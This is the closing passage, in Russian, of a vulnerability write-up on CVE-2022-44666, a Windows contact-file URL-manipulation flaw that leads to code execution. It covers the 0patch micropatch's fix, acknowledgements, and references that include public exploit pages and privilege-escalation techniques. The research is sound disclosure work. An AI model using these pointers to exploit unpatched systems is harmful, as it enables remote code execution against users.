Несколько дней/недель назад, когда я связался с [@mkolsek][R.30] из [0patch][R.23], чтобы сообщить ему об этой проблеме, который, кстати, всегда очень ко мне добр, он сказал мне, что с тех пор было выпущено [неофициальное исправление для Windows 7][R.29] (4 года назад). Это было неожиданностью и хорошей новостью!
Оно было протестировано и успешно остановило новый вариант CVE-2022-44666. Микропатч добавляет "http://" в начало строки, контролируемой атакующим, передаваемой через атрибут href, если она не начинается с "mailto:", "http://" или "https://", что достаточно для полного исправления проблемы. Сейчас он будет расширен для последних версий Windows, необходимо только обновить некоторые смещения.
В любом случае, было бы лучше получить официальный патч.
## Благодарности
+ [@hyp3rlinx][R.1]: Особая благодарность и признание, потому что он начал это исследование несколько лет назад, и его работа была важна для этого отчёта. ~~Он также должен был быть упомянут как обнаруживший это, но, к сожалению, я не смог вовремя с ним связаться~~. Это уже сделано (***Обновление 2023/02/08***).
+ [@Edu_Braun_0day][R.20]: который также работал над [этой проблемой][R.31].
+ [@mkolsek][R.30].
+ [@matalaz][R.12].
+ [@buffaloverflow][R.19].
+ [@msftsecresponse][R.2].
+ ...
Автор: [@j00sean](https://twitter.com/j00sean)
[R.1]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/hyp3rlinx%3E "@hyp3rlinx"
[R.2]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/msftsecresponse%3E "@msftsecresponse"
[R.3]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/thezdi%3E "@thezdi"
[R.4]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.exploit-db.com/exploits/46222%3E "Эксплойт Джона Пейджа (он же hyp3rlinx), полностью раскрытый более 4 лет назад"
[R.5]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.zerodayinitiative.com/advisories/ZDI-19-121/%3E "ZDI-19-121"
[R.6]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.microsoft.com/en-us/windows/win32/controls/syslink-overview%3E "Документация Microsoft о контролах syslink"
[R.7]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.mozilla.org/en-US/security/advisories/mfsa2022-24/#CVE-2022-34478> "CVE-2022-34478: отключение search-ms в Mozilla Firefox"
[R.8]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.bmc.com/docs/fpsc121/ldap-attributes-and-associated-fields-495323340.html%3E "Документация по атрибутам LDIF и связанным полям"
[R.9]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/ldaptor.readthedocs.io/en/latest/quickstart.html#ldap-server-quick-start> "Быстрый старт сервера ldaptor"
[R.10]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44666%3E "CVE-2022-44666"
[R.11]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/joxeankoret/diaphora%3E "Diaphora"
[R.12]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/matalaz%3E "@matalaz"
[R.13]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/learn.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-urlisw%3E "Функция UrlIsW"
[R.14]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190%3E "CVE-2022-30190"
[R.15]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/security/new-microsoft-office-zero-day-used-in-attacks-to-execute-powershell%3E "Уязвимость Follina"
[R.16]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34713%3E "CVE-2022-34713"
[R.17]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/microsoft/microsoft-patches-windows-dogwalk-zero-day-exploited-in-attacks%3E "Уязвимость DogWalk"
[R.18]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow/status/1534445288332701697%3E "Файлы Diagcab"
[R.19]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow%3E "@buffaloverflow"
[R.20]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/edu_braun_0day%3E "@Edu_Braun_0day"
[R.21]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/decoder.cloud/2018/02/02/getting-system%3E "Техника родительского процесса"
[R.22]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/decoder-it/psgetsystem%3E "Getsystem через родительский процесс"
[R.23]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/0patch.com%3E "0patch"
[R.24]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/pfiatde%3E "@pfiatde"
[R.25]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/badoption.eu/blog/2023/06/01/zipjar.html%3E "ZipJar, немного неожиданная цепочка атак"
[R.26]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/arntsonl/calc_security_poc/tree/master/jar%3E "calc_security_poc"
[R.27]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/microlovu%3E "@microlovu"
[R.28]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mlftsecresponse%3E "@mlftsecresponse"
[R.29]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/blog.0patch.com/2019/01/one-two-three-micropatches-for-three.html%3E "Микропатч, выпущенный 4 года назад"
[R.30]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mkolsek%3E "@mkolsek"
[R.31]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/packetstormsecurity.com/files/151267/Microsoft-Windows-VCF-Arbitrary-Code-Execution.html%3E "Microsoft Windows VCF или файл контакта - манипуляция URL, подмена, произвольное выполнение кода"
